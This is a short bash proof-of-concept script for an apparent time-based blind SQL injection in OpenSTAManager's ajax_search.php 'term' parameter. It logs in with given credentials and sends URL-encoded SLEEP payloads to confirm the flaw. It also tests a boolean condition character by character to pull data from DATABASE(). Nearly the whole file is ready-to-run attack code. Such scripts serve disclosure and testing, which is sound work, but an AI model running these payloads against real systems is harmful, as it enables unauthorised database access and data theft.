#!/usr/bin/env bash
# CVE-2026-24417 - OpenSTAManager <= 2.9.8
# Time-Based Blind SQL Injection (with amplified execution) in the global
# search AJAX handler (/ajax_search.php, `term` parameter).
#
# Usage: ./poc_search_sqli.sh http://target:8081 admin admin

TARGET="${1:-http://localhost:8081}"
USER="${2:-admin}"
PASS="${3:-admin}"
COOKIES=/tmp/cookies_24417.txt

echo "[*] Step 1: Login"
curl -c "$COOKIES" -s -X POST "$TARGET/index.php?op=login" \
  -d "username=${USER}&password=${PASS}" -o /dev/null

echo "[*] Step 2: Verify vulnerability with SLEEP(1) - amplified across ~10 modules"
time curl -s -b "$COOKIES" \
  "$TARGET/ajax_search.php?term=%22%20AND%200%20OR%20SLEEP(1)%20OR%20%22" -o /dev/null
echo "    (expected: tens of seconds due to amplified execution across modules)"

echo "[*] Step 3: Baseline with SLEEP(0) - should be fast"
time curl -s -b "$COOKIES" \
  "$TARGET/ajax_search.php?term=%22%20AND%200%20OR%20SLEEP(0)%20OR%20%22" -o /dev/null

echo "[*] Step 4: Boolean data extraction - test first char of DATABASE() == 'o'"
time curl -s -b "$COOKIES" \
  "$TARGET/ajax_search.php?term=%22%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)%20OR%20%221%22=%221" \
  -o /dev/null
echo "    (a long delay confirms the boolean condition was TRUE)"